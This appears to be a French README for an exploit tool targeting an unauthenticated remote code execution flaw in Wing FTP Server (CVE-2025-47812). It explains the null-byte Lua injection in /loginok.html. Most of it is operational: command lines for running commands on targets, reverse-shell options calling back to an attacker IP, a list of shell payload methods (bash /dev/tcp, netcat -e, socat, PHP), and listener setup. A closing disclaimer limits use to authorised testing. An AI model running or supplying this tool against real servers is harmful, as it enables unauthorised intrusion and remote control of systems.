
Exploit d'exécution de code à distance non authentifié pour Wing FTP Server (CVE-2025-47812) avec plusieurs charges utiles de shell inversé, modes interactif et CLI, et gestion automatisée des sessions.
| Champ | Valeur |
|---|
| CVE | CVE-2025-47812 |
| Versions affectées | Wing FTP Server < 7.4.4 |
| Type | Exécution de code à distance sans authentification |
| Score CVSS | 10.0 (Critique) |
| Corrigé dans | Wing FTP Server 7.4.4 |
La vulnérabilité réside dans le point de terminaison de connexion /loginok.html. Le serveur ne parvient pas à nettoyer les octets nuls (%00) dans le champ username. Cela permet à un attaquant d'injecter du code Lua arbitraire dans les fichiers de session, qui sont ensuite évalués côté serveur lorsque des points de terminaison comme /dir.html sont consultés — sans aucune authentification requise.
Référence : https://nvd.nist.gov/vuln/detail/CVE-2025-47812
--payload-o--timeout et --delay configurables-vCtrl+Cpip install requests
python3 wingftp_rce_exploit.py
# Exécuter une commande
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id"
# Enregistrer la sortie dans un fichier
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id" -o results.txt
# Reverse shell (essayer tous les payloads)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444
# Reverse shell (payload spécifique)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444 --payload socat
-u / --url URL de base de la cible
-U / --username Nom d'utilisateur (défaut : anonymous)
-c / --command Commande à exécuter (mode commande)
-r / --rhost Votre IP d'écoute (mode reverse shell)
-p / --rport Votre port d'écoute (mode reverse shell)
--payload Payload spécifique à utiliser (voir liste ci-dessous)
--timeout Délai d'attente de la requête HTTP en secondes (défaut : 10)
--delay Délai entre les tentatives de payload en secondes (défaut : 4)
-o / --output Enregistrer la sortie de commande dans un fichier
-v / --verbose Activer la sortie de débogage
| Nom | Méthode |
|---|---|
socat | PTY complet via socat |
bash | Redirection /dev/tcp |
python3 | Sous-processus socket |
nc-e | Netcat avec option -e |
nc-fifo | Netcat + mkfifo |
php | PHP fsockopen |
URL cible : http://192.168.1.10:5466
Nom d'utilisateur : anonymous
Choix : 1
Commande : whoami
Étape 1 — Démarrez votre écouteur (socat recommandé pour un TTY complet) :
socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr
Ou avec nc :
nc -lvnp 4444
Étape 2 — Lancez l'exploit :
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r YOUR_IP -p 4444
Cet outil est destiné à des fins éducatives et uniquement à des tests de sécurité autorisés.
Ne l'utilisez PAS contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite explicite.
L'utilisation non autorisée est illégale. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.